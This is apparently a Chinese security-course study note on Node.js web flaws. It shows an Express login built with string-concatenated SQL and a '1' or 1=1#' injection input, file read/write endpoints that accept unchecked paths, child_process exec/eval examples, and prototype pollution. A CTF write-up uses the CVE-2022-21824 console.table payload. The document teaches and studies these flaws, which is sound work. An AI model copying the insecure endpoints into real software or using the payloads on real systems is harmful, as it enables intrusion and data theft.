小迪安全v2023 js应用篇

小迪安全v2023 js应用篇

小迪安全v2023 js应用篇

大体上跟随小迪安全的课程,本意是记录自己的学习历程,不能说是完全原创吧,大家可以关注一下小迪安全,他讲的挺好的。

若有冒犯,麻烦私信移除。

已获得迪の认可,哈哈

www.zeeklog.com  - 小迪安全v2023 js应用篇

文章目录

先下载安装node.js。

执行js文件:node xx.js

1. express框架

1. 基本使用

npm i express

npm i body-parser 用于处理json,raw,url,text编码数据

npm i mysql 用于操作mysql

cookie-parser 用于解析cookie

multer 用于处理enctype="multipart/form-data"的文件上传数据

t1.js

var express=require('express');
var app=express();
var bodyParser = require('body-parser');
var mysql=require('mysql');

var conn=mysql.createConnection({
    host:'localhost',
    user:'root',
    password:'123456',
    database:'user'
});

conn.connect();

// 使用 body-parser 中间件来解析 JSON 和 URL-encoded 的请求体  
app.use(bodyParser.json()); // 用于解析 application/json  
app.use(bodyParser.urlencoded({ extended: true })); // 用于解析 application/x-www-form-urlencoded

app.post('/login',function(req,res){
    var u=req.body.uname;//get请求用query, post请求用body
    var p=req.body.password;
    conn.query(`select * from t_user where username='${u}' and password=${p}`,function(error,results,fields){
        if(error) {
            res.send('数据库连接失败<a href=\'/\'>返回登录页面</a>');
            //或者res.redirect()
        }else{
            if(results.length){
                res.send('登录成功');
            }else{
                res.send('登陆失败<a href=\'/\'>返回登录页面</a>');
            }
        }
    });
})
//get路由
app.get('/',function(req,res){
    res.sendFile(__dirname+'/'+'index.html');//渲染html
})

var server = app.listen(8081, function () {
    var host = server.address().address;//ipv6则显示::
    var port = server.address().port;
    console.log("应用实例,访问地址为 http://127.0.0.1:%s", port);
  })

index.html

<!DOCTYPE html>
<head>
    <meta charset="utf-8">
    <title>示例</title>
</head>
<body>
    <form method="POST" action="/login" >
        <p>用户名:</p><input type="text" name='uname' id='uname'><br>
        <p>密码:</p><input type="password" name='password' id='password'><br>
        <input type="submit" value="提交">
    </form>
</body>

输入用户名1' or 1=1#

密码:1

www.zeeklog.com  - 小迪安全v2023 js应用篇

建议使用预编译写法

var sql='select * from t_user where username=? and password=?';
var params=[u,p];
conn.query(sql,params,(err,results)=>{
    //...
})

2. 文件操作

npm i fs

var fs=require('fs');
var express=require('express');
var app=express();
app.get('/file',(req,res)=>{//读取目录
    var dir=req.query.dir;
    console.log(dir);
    filemanage(dir);
});
app.get('/read_file',(req,res)=>{//文件读取
    var buf =new Buffer.alloc(1024);
    var path=req.query.path;
    console.log(path);
    fs.open(path,'r+',(err,fd)=>{
  		if(err){
            return console.error(err);
        }
        fs.read(fd,buf,0,buf.length,0,(err,bytes)=>{
            if(err) console.log(err);
        	console.log(bytes+'字节被读取!');
        	
        	//仅输出读取的字节
        	if(bytes>0){
                console.log(buf.slice(0,bytes).toString());
            }
            fs.close(fd);
        });
    })
})
app.get('/write_file',(req,res)=>{//文件写入
    var buf =new Buffer.alloc(1024);
    var path=req.query.path;
    var str1=req.query.str1;
    console.log(path);
    fs.writeFile(path,str1,{flag:'a+'},(err,fd)=>{
        //读写方式打开文件。文件存在则追加,不存在,则创建新文件。
  		if(err){
            return console.error(err);
        }
        //读取文件
        fs.readFile(path,(err,data)=>{
            if(err) console.log(err);
        	console.log('异步读取文件数据:'+data.toString());
        });
    })
})
function filemanage(dir){
    fs.readdir(dir,function(err,files){
        console.log(files);
    });
}
var server = app.listen(8081, function () {
    var host = server.address().address;//ipv6则显示::
    var port = server.address().port;
    console.log("应用实例,访问地址为 http://127.0.0.1:%s", port);
  })

访问/read_dile?path=./uploads/123.txt

www.zeeklog.com  - 小迪安全v2023 js应用篇

访问 /write_file?path=./uploads/123.txt&str1=123

www.zeeklog.com  - 小迪安全v2023 js应用篇

3. 命令执行

npm i child_process

const rce=require('child_process');
rce.exec('notepad');
rce.spawnSync('calc');
eval('require("child_process").exec("calc");');

2. 原型链污染

​ 如果攻击者控制了一个对象的原型(__proto__),那么可以影响所有和这个对象来自同一类,父祖类的对象。

www.zeeklog.com  - 小迪安全v2023 js应用篇

参考上图

let cat={jk:999};
cat.__proto__.jk=2;
var a=()=>{//箭头函数,其实跟普通函数差不多
    console.log(jk);
}
a.__proto__.__proto__.jk='a';
let zoo={};
console.log(cat.jk);//999
console.log(zoo.jk);//a 未定义会在链上寻找,先查到a,后查到2
a();//a
function b(){
    console.log(jk);
}
b();//a
let bbc=new b();//打印a
//{}.__proto__ 是个对象,Object.prototype
//{}.__proto__.__proto__ 是null
//a.__proto__ 是个函数,Function.prototype(所有函数的原型对象)
//a.__proto__.__proto__ 是个对象,Object.prototype
//a.__proto__.__proto__.__proto__ 是null,不能设属性
//bbc.__proto__ 是b函数原型对象(prototype)
//bbc.__proto__.__proto__.__proto__ 是null
//原型链先查Object.prototype上的属性,再查Function.prototype上的属性

3. buuctf VNCTF2022 newcalc0

题目部分源码

const express = require("express"); // 引入 Express 框架  
const path = require("path"); // 引入 path 模块,但在此代码段中并未使用  
const vm2 = require("vm2"); // 引入 vm2 模块,用于安全地执行 JavaScript 代码  
  
const app = express(); // 创建一个 Express 应用实例  
app.use(express.urlencoded({ extended: true })); // 解析 application/x-www-form-urlencoded 类型的请求体数据  
app.use(express.json()); // 解析 application/json 类型的请求体数据  
  
app.use(express.static("static")); // 设置静态文件目录为 "static"  
  
// 创建一个 vm2.NodeVM 实例,用于安全地执行 JavaScript 代码  
const vm = new vm2.NodeVM({  
  // 可以在这里配置 vm2 的选项,如限制全局变量、模块等  
  // 例如:console: 'console', // 允许使用 console 对象  
  // require: {  
  //   external: true, // 允许 require 外部模块  
  //   builtin: ['fs'] // 允许使用 fs 模块  
  // }  
});  
  
// /eval 路由,用于执行传入的 JavaScript 代码  
app.use("/eval", (req, res) => {  
  const e = req.body.e; // 从请求体中获取要执行的代码字符串  
  if (!e) {  
    res.send("wrong?"); // 如果没有提供代码,返回 "wrong?"  
    return;  
  }  
  try {  
    // 尝试执行代码,并将返回值转换为字符串  
    // 注意:这种方式执行代码可能存在安全风险,应确保代码是安全的  
    res.send(vm.run(`(function() { return ${e}; })()`).toString() ?? "no");  
  } catch (err) {  
    console.error(err); // 捕获并打印错误  
    res.send("wrong?"); // 发生错误时返回 "wrong?"  
  }  
});  
  
// /flag 路由,本意可能是检查环境变量或进行某种安全检查  
// 但实现方式存在安全隐患,并可能导致敏感信息泄露  
app.use("/flag", (req, res) => {  
  // 通常不建议修改 Object.prototype  
  // 这里的检查可能是想检测是否有恶意代码修改了 Object.prototype  
  if (Object.keys(Object.prototype).length > 0) {  
    // 如果有,尝试清理并返回 FLAG 环境变量(这是不安全的)  
    // 注意:FLAG 环境变量可能包含敏感信息,不应直接返回给客户端  
    Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);  
    // 这里假设 process.env.FLAG 存在,但通常不推荐这样做  
    res.send(process.env.FLAG || "FLAG not set");  
  } else {  
    // 如果没有,返回 Object.prototype 的键(通常是一个空数组)  
    res.send(Object.keys(Object.prototype));  
  }  
});

使用cve-2022-21824的payload

console.table([{x:1}], ["__proto__"]);,之后访问/flag页面得到flag

查看console.table的部分源码

// tabularData 是第一個參數 [{x:1}]
// properties 是第二個參數 ["__proto__"]
const map = ObjectCreate(null);
let hasPrimitives = false;
const valuesKeyArray = [];
const indexKeyArray = ObjectKeys(tabularData);

for (; i < indexKeyArray.length; i++) {
  const item = tabularData[indexKeyArray[i]];
  const primitive = item === null ||
      (typeof item !== 'function' && typeof item !== 'object');
  if (properties === undefined && primitive) {
    hasPrimitives = true;
    valuesKeyArray[i] = _inspect(item);
  } else {
    const keys = properties || ObjectKeys(item);
	
    // for of 的時候 key 會是 __proto__ 
    for (const key of keys) {
      if (map[key] === undefined)
        map[key] = [];
      
      // !ObjectPrototypeHasOwnProperty(item, key) 會成立
      if ((primitive && properties) ||
           !ObjectPrototypeHasOwnProperty(item, key))

        // 因此 map[__proto__][0] 會是空字串
        map[key][i] = '';
      else
        map[key][i] = _inspect(item[key]);
    }
  }
}

​ 所以透過這個方式,可以污染 Object.prototype[0],讓它變成空字串。而空字符串也算数组的元素。

const express = require("express");
con-st app = express();
app.use("/", (req, res) => {
    Object.prototype[0]="";
    console.log(Object.keys(Object.prototype).length);//输出1
  })
app.listen(process.env.PORT || 8888);

Read more

用asp.net core结合fastdfs打造分布式文件存储系统

用asp.net core结合fastdfs打造分布式文件存储系统

最近被安排开发文件存储微服务,要求是能够通过配置来无缝切换我们公司内部研发的文件存储系统,FastDFS,MongDb GridFS,阿里云OSS,腾讯云OSS等。根据任务紧急度暂时先完成了通过配置来无缝切换内部文件系统以及FastDFS。至于MongDb GridFS,阿里云OSS,腾讯云OSS等则后期需要的话再开发对应的提供者程序集合。 作者:依乐祝 首发公众号:DotNetCore实战 原文链接: 今天主要是对开发过程,以及对FastDFS这个通用的分布式文件存储服务的单机及集群安装部署过程做个总结。希望对想要自建分布式文件系统的朋友有所帮助。 什么是FastDFS 这里先简单介绍下分布式文件存储系统。 FastDFS 是一个开源的高性能分布式文件系统(DFS)。 它的主要功能包括:文件存储,文件同步和文件访问,以及高容量和负载平衡。主要解决了海量数据存储问题,特别适合以中小文件(建议范围:4KB < file_size <500MB)为载体的在线服务。 FastDFS 系统有三个角色:跟踪服务器(Tracker Server)、存储服务器(Storage Server)

By Ne0inhk
从零搭建分布式文件系统MinIO比FastDFS要更合适

从零搭建分布式文件系统MinIO比FastDFS要更合适

前两天跟大家分享了一篇关于如何利用FastDFS组件来自建分布式文件系统的文章,有兴趣的朋友可以阅读下《》。通过留言发现大家虽然感兴趣,但是都觉得部署比较麻烦。的确,fastdfs的部署很繁琐,而且也没有官方提供的针对.net core的sdk。而今天带来的MinIO则是一个比fastdfs更好的选择,可以让你足够简单的来部署使用,官方也提供了足够详细的api文档。下面就让我们开始今天的正文吧。 这里说明下为什么今天才进行分享,因为就在几个小时前官方才发布了最新的3.1.12版本的nuget包,解决了BucketExistsAsync的一个bug,不然你还得引用源码才能正常运行。 作者:依乐祝 原文地址: MinIO是什么? 官方对MinIO的介绍是:高性能,Kubernetes原生支持的对象存储系统。MinIO的高性能软件定义对象存储套件可以使用户能够为机器学习、分析和应用程序数据工作负载构建云原生支持的数据基础设施。下面是几个常用的网址 * 官网: * 开源地址: * 中文文档: * .NET 客户端api地址: * 下载地址: * minio-dotnet

By Ne0inhk
【半译】扩展shutdown超时设置以保证IHostedService正常关闭

【半译】扩展shutdown超时设置以保证IHostedService正常关闭

我最近发现一个问题,当应用程序关闭时,我们的应用程序没有正确执行在IHostedService中的StopAsync方法。经过反复验证发现,这是由于某些服务对关闭信号做出响应所需的时间太长导致的。在这篇文章中,我将展示出现这个问题的一个示例,并且会讨论它为什么会发生以及如何避免这种情况出现。 作者:依乐祝 首发地址: 英文地址: 使用IHostedService运行后台服务 ASP.NET Core 2.0引入。该: public interface IHostedService { Task StartAsync(CancellationToken cancellationToken); Task StopAsync(CancellationToken cancellationToken); } StartAsync在应用程序启动时被调用。在ASP.NET核心2.X发生这种情况在应用程序启动处理请求,而在ASP.NET核心3.x中托管服务开始在应用程序启动处理请求。 StopAsync当应用程序收到shutdown(SIGTERM)信号时(例如,您

By Ne0inhk
重学ASP.NET Core 中的标记帮助程序

重学ASP.NET Core 中的标记帮助程序

标记帮助程序是什么 标记帮助程序使服务器端代码可以在 Razor 文件中参与创建和呈现 HTML 元素。 例如,内置的 ImageTagHelper 可以将版本号追加到图片名称。  每当图片发生变化时,服务器都会为图像生成一个新的唯一版本号,因此客户端总能获得当前图像(而不是过时的缓存图像)。 作者:依乐祝 原文链接: 标记帮助程序的作用域是如何控制的 标记帮助程序作用域由 @addTagHelper、@removeTagHelper 和“!”选择退出字符等联合控制。下面就一一的进行相关的介绍吧。 使用 @addTagHelper 添加标记帮助程序 @addTagHelper 指令让视图可以使用标记帮助程序。 在这种情况下,视图文件是_pages/ViewImports,默认情况下,它由_pages_文件夹和子文件夹中的所有文件继承,这使得标记帮助程序可用。 这里公开标记帮助程序有两种方式,如下所示: 第一种:使用通配符语法(" * ")指定指定程序集(AspNetCore)中的所有标记帮助程序都可用于_Views_目录及其子目录中的每个视图文件。 @addTagHelp

By Ne0inhk